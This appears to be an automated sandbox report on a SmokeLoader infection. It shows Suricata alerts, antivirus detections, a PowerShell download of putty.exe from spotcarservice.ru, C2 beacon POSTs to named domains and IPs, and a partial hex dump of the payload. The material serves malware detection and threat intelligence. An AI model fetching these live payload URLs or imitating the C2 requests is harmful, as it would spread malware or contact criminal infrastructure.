2024-12-18T09:24:22.548445+0100	2039103	1	A Network Trojan was detected	192.168.2.6	49799	94.156.177.51	80	TCP
2024-12-18T09:24:24.142189+0100	2039103	1	A Network Trojan was detected	192.168.2.6	49806	109.70.26.37	80	TCP
2024-12-18T09:25:31.432431+0100	2039103	1	A Network Trojan was detected	192.168.2.6	49964	94.156.177.51	80	TCP
2024-12-18T09:25:33.298643+0100	2039103	1	A Network Trojan was detected	192.168.2.6	49970	94.156.177.51	80	TCP
2024-12-18T09:25:55.153603+0100	2039103	1	A Network Trojan was detected	192.168.2.6	49974	109.70.26.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:23:48.742075+0100	2803305	3	Unknown Traffic	192.168.2.6	49708	94.156.177.51	80	TCP

ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:24:20.907909+0100	2851815	1	A Network Trojan was detected	192.168.2.6	49793	94.156.177.51	80	TCP
2024-12-18T09:24:22.548445+0100	2851815	1	A Network Trojan was detected	192.168.2.6	49799	94.156.177.51	80	TCP
2024-12-18T09:25:55.153603+0100	2851815	1	A Network Trojan was detected	192.168.2.6	49974	109.70.26.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\putty.exe	Avira: detection malicious, Label: HEUR/AGEN.1306956
Source: C:\Users\user\AppData\Roaming\sarbjfc	Avira: detection malicious, Label: HEUR/AGEN.1306956

Found malware configuration

Source: 00000010.00000002.2570965371.00000000005E0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://constractionscity1991.lat/", "http://restructurisationservice.ru/", "http://connecticutproperty.ru/"]}

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\putty.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\sarbjfc	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Roaming\putty.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:49793 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:49799 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.6:49793 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.6:49799 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:49806 -> 109.70.26.37:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:49970 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:49964 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:49974 -> 109.70.26.37:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.6:49974 -> 109.70.26.37:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 109.70.26.37 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 94.156.177.51 80			Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://constractionscity1991.lat/
Source: Malware configuration extractor	URLs: http://restructurisationservice.ru/
Source: Malware configuration extractor	URLs: http://connecticutproperty.ru/

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 18 Dec 2024 08:23:48 GMTContent-Type: application/x-msdos-programContent-Length: 331264Connection: keep-aliveLast-Modified: Wed, 18 Dec 2024 06:47:16 GMTETag: "50e00-62985c8c4e500"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 22 d9 df c2 66 b8 b1 91 66 b8 b1 91 66 b8 b1 91 78 ea 24 91 7c b8 b1 91 78 ea 35 91 54 b8 b1 91 78 ea 32 91 e1 b8 b1 91 41 7e ca 91 65 b8 b1 91 66 b8 b0 91 e6 b8 b1 91 78 ea 3b 91 67 b8 b1 91 78 ea 25 91 67 b8 b1 91 78 ea 20 91 67 b8 b1 91 52 69 63 68 66 b8 b1 91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b4 5c e9 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6c 04 00 00 0e 01 00 00 00 00 00 e7 88 00 00 00 10 00 00 00 80 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 05 00 00 04 00 00 23 c5 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 70 04 00 28 00 00 00 00 40 05 00 d8 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 38 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 10 6a 04 00 00 10 00 00 00 6c 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 e8 b1 00 00 00 80 04 00 00 64 00 00 00 70 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 39 00 00 00 40 05 00 00 3a 00 00 00 d4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /fdjskf88cvt/invoce.pdf HTTP/1.1Host: spotcarservice.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fdjskf88cvt/putty.exe HTTP/1.1Host: spotcarservice.ru

Source: Joe Sandbox View

IP Address: 109.70.26.37 109.70.26.37

Source: Joe Sandbox View	ASN Name: RU-CENTERRU RU-CENTERRU
Source: Joe Sandbox View	ASN Name: NET1-ASBG NET1-ASBG

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49708 -> 94.156.177.51:80

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vddxydaigau.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aulnrowynyq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 277Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://twtxlpyjnilpgrob.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 257Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mafqwfpcjavfosdj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ycbfvshcmwtbjy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 349Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://islwwuiodhvp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 310Host: connecticutproperty.ru

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /fdjskf88cvt/invoce.pdf HTTP/1.1Host: spotcarservice.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fdjskf88cvt/putty.exe HTTP/1.1Host: spotcarservice.ru

Source: global traffic	DNS traffic detected: DNS query: spotcarservice.ru
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: constractionscity1991.lat
Source: global traffic	DNS traffic detected: DNS query: restructurisationservice.ru
Source: global traffic	DNS traffic detected: DNS query: connecticutproperty.ru

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://vddxydaigau.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: constractionscity1991.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 18 Dec 2024 08:24:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 18 Dec 2024 08:24:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 18 Dec 2024 08:25:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 18 Dec 2024 08:25:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Source: explorer.exe, 0000000E.00000000.2310451909.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.2310451909.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: svchost.exe, 00000007.00000002.3434883597.0000020C1DE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: explorer.exe, 0000000E.00000000.2310451909.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.2310451909.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 0000000E.00000000.2310451909.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.2310451909.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: 77EC63BDA74BD0D0E0426DC8F80085060.6.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.7.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000002.00000002.2310566265.0000028F36462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: explorer.exe, 0000000E.00000000.2310451909.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.2310451909.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 0000000E.00000000.2310451909.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26613000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: explorer.exe, 0000000E.00000000.2296114967.00000000028A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000000.2304657669.0000000007B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000000.2304616494.0000000007B50000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: powershell.exe, 00000002.00000002.2249188831.0000028F263F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.r
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F280A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26613000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/f
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fd
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdj
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjs
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjsk
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf8
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88c
